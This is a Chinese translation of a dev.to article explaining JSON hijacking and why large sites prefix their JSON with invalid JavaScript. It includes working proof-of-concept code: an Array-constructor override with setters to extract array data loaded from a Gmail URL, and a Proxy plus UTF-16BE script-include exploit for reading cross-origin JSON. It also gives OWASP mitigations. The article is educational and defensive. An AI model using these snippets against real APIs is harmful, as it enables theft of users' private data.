如果你有在浏览器中查看过发给大公司API的请求，你可能会注意到，JSON前面会有一些奇怪的JavaScript：
为什么他们会用这几个字节来让JSON失效？
为了保护你的数据
如果没有这些字节，那么有可能任何网站都可以访问这些数据。
这个漏洞被称为JSON劫持，也就是网站可以从这些API中提取JSON数据。
起源
在JavaScript 1.5及更早版本中，可以覆盖原始类型对象的构造函数，并使用括号调用覆盖的版本。
你可以这样：
function Array(){
alert('You created an array!');
}
var x = [1,2,3];
这样就会弹出alert！
使用以下脚本替换var x，攻击者就可以阅读你的电子邮件！
这是通过在加载外部脚本之前覆盖Array构造函数来实现的。
<script src="https://gmail.com/messages"></script>
数据提取
即使你重载了构造函数，仍然可以通过this来访问它。
这是一个代码片段，它将alert数组的所有数据：
function Array() {
var that = this;
var index = 0;
// Populating the array with setters, which dump the value when called
var valueExtractor = function(value) {
// Alert the value
alert(value);
// Set the next index to use this method as well
that.__defineSetter__(index.toString(),valueExtractor );
index++;
};
// Set the setter for item 0
that.__defineSetter__(index.toString(),valueExtractor );
index++;
}
在创建数组后，它们的值将被alert出来！
ECMAScript 4提案中已修复了这个问题，我们现在无法再覆盖大多数原始类型的原型，例如Object和Array。
尽管ES4从未发布，但主要浏览器在发现后很快就修复了这个漏洞。
在今天的JavaScript中，你仍然可以使用类似的行为，但它受限于你创建的变量，或者不使用括号创建的对象。
这是之前的一个修订版本：
// Making an array
const x = [];
// Making the overriden methods
x.copy = [];
const extractor = (v) => {
// Keeping the value in a different array
x.copy.push(v);
// Setting the extractor for the next value
const currentIndex = x.copy.length;
x.__defineSetter__(currentIndex, extractor);
x.__defineGetter__(currentIndex, ()=>x.copy[currentIndex]);
// Logging the value
console.log('Extracted value', v);
};
// Assigning the setter on index 0
x.__defineSetter__(0, extractor);
x.__defineGetter__(0, ()=>x.copy[0]);
// Using the array as usual
x[0] = 'zero';
x[1] = 'one';
console.log(x[0]);
console.log(x[1]);
这是一个使用Array关键字创建数组的版本：
function Array(){
console.log(arguments);
}
Array("secret","values");
如你所见，你添加到数组中的数据被记录下来，但功能保持不变！
修复方案并没有阻止使用Array来创建数组，而是在使用括号创建对象时强制使用原生实现，而不是自定义函数。
这意味着我们仍然可以创建一个Array函数，但不能与方括号（[1,2,3]）一起使用。
如果我们使用x = new Array(1,2,3)或x = Array(1,2,3)，它仍将被调用，但不会给JSON劫持留下可趁之机。
新的变体
我们知道旧版本的浏览器很容易受到这个漏洞的攻击，那么现在呢？
随着最近EcmaScript 6的发布，添加了很多新功能，例如Proxies！
来自Portswigger的Gareth Heyes在博客上介绍了这个漏洞的新变体，它仍然允许我们从JSON端点窃取数据！
通过使用Proxies（而不是Accessor），我们可以窃取到任意创建的变量，无论它的名称是什么。
它可以像Accessor一样，但可以访问任意可访问或写入属性。
使用这个和另外一个技巧，就可以再次窃取数据！
UTF-16BE是一个多字节字符集，一个字符由两个字节组成。例如，如果你的脚本以[“作为开头，它将被视为字符0x5b22而不是0x5b 0x22。0x5b22恰好是一个有效的JavaScript变量=)。
使用这个脚本：
<script charset="UTF-16BE" src="external-script-with-array-literal"></script>
通过使用这个脚本中的一些受控数据和移位脚本，我们就可以再次渗透数据！
这是Gareth最后的POC，摘自他的博文：
<!doctype HTML>
<script>
Object.setPrototypeOf(__proto__,new Proxy(__proto__,{
has:function(target,name){
alert(name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));
}
}));
</script>
<script charset="UTF-16BE" src="external-script-with-array-literal"></script>
<!-- script contains the following response: ["supersecret","<?php echo chr(0)?>aa"] -->
我不会深入解释这个方法，而是建议你阅读他的帖子，以获取更多信息。
预防
这是OWASP的官方建议：
- 使用CSRF保护，如果不存在安全标头或csrf令牌，就不返回数据，以防止被利用。
- 始终将JSON作为对象返回。
最后的解决方案很有趣。
在Firefox和IE中，这个是有效的：
x = [{"key":"value"}]
x = {"key":"value"}
[{"key":"value"}]
{key: "value"}
但这样不行：
{"key":"value"}
它之所以无效是因为Firefox和IE认为括号是块语句的开头，而不是创建对象。
没有引号的符号{key:“value”}被视为标签，值被视为一个语句。
结论
虽然这些东西在今天可能是无效的，但我们永远不会知道明天将会带来什么新的错误，因此我们仍应尽力阻止API被利用。
如果我们把这个StackOverflow答案视为理所当然，我们就很容易受到现代变体的影响，因此仍然可能被黑客入侵。
谷歌和Facebook在JSON数据之前添加无效的JavaScript或无限循环，OWASP也列出了其他替代方案。
英文原文
https://dev.to/antogarand/why-facebooks-api-starts-with-a-for-loop-1eob